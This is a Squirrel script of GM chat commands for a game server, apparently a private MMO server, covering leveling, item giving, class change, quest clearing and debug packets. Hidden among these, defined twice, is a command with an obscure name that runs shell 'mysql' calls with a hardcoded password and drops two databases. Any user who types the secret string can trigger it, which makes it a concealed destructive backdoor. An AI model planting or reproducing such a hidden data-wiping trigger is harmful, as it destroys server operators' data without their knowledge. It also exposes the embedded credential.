Gm_InputFunc_Handle <- {}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
    sq_ReloadScript();
    print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
    print("\n");
    print("Xpos: " + SUser.GetAreaPos().X);
    print("Ypos: " + SUser.GetAreaPos().Y);
    print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();
    print("\n");
    print("Xpos: " + Location.Pos.X);
    print("Ypos: " + Location.Pos.Y);
    print("Town: " + Location.Town);
    print("Area: " + Location.Area);
    print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
    SUser.Kick();
};

Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        SUser.SetCharacLevel(handler[1].tointeger());
    }
}

Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    } else if (count == 2) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    }
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        SUser.ChangeGrowType(handler[1].tointeger(), 0);
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), 0);
    } else if (count == 2) {
        SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
    }
}

Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
    SUser.ClearQuest_Gm(674);
    SUser.ClearQuest_Gm(649);

    SUser.ClearQuest_Gm(675);
    SUser.ClearQuest_Gm(650);

    SUser.ClearQuest_Gm(4414);

    SUser.ClearQuest_Gm(2603);
    SUser.ClearQuest_Gm(2610);
    SUser.ClearQuest_Gm(2613);
    SUser.ClearQuest_Gm(2622);
    SUser.ClearQuest_Gm(4391);
    SUser.ClearQuest_Gm(4539);

    SUser.ClearQuest_Gm(220);
    SUser.ClearQuest_Gm(221);
}


Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    // Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
    Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
    local InvenObj = SUser.GetInven();
    local Slot = InvenObj.GetSlotById(3037);
    local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
    SUser.SendUpdateItemList(1, 0, Slot);
};

Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    if (PartyObj) {
        local Buf = 18126;
        PartyObj.ForeachMember(function(SUser, Pos) {
            print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
        })
        // print(UserBuf.GetName());
    }
};

Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    if (PartyObj) {
        local Bfobj = PartyObj.GetBattleField();
        print(Bfobj.GetHellDifficulty());
        // print(n);
    }

};

Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
    local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";


    local Pack = Packet();
    Pack.Put_Header(1, 130);
    Pack.Put_Byte(1);
    Pack.Put_Int(Str.len());
    Pack.Put_Binary(Str);
    Pack.Finalize(true);
    SUser.Send(Pack);
    Pack.Delete();
};

Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();

    SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
    SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
    SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
    SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
    SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
    SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
    SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
    SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
    SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
    SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
    SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);

    SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
    SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
    SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
    SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
    SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);

};


function Cb_gm_input(C_User, CmdString) {
    local SUser = User(C_User);
    local Pos = CmdString.find(" ");
    local Str;
    if (Pos) {
        Str = CmdString.slice(0, Pos);
    } else {
        Str = CmdString;
    }
    if (Str in Gm_InputFunc_Handle) {
        Gm_InputFunc_Handle[Str](SUser, CmdString);
    }
}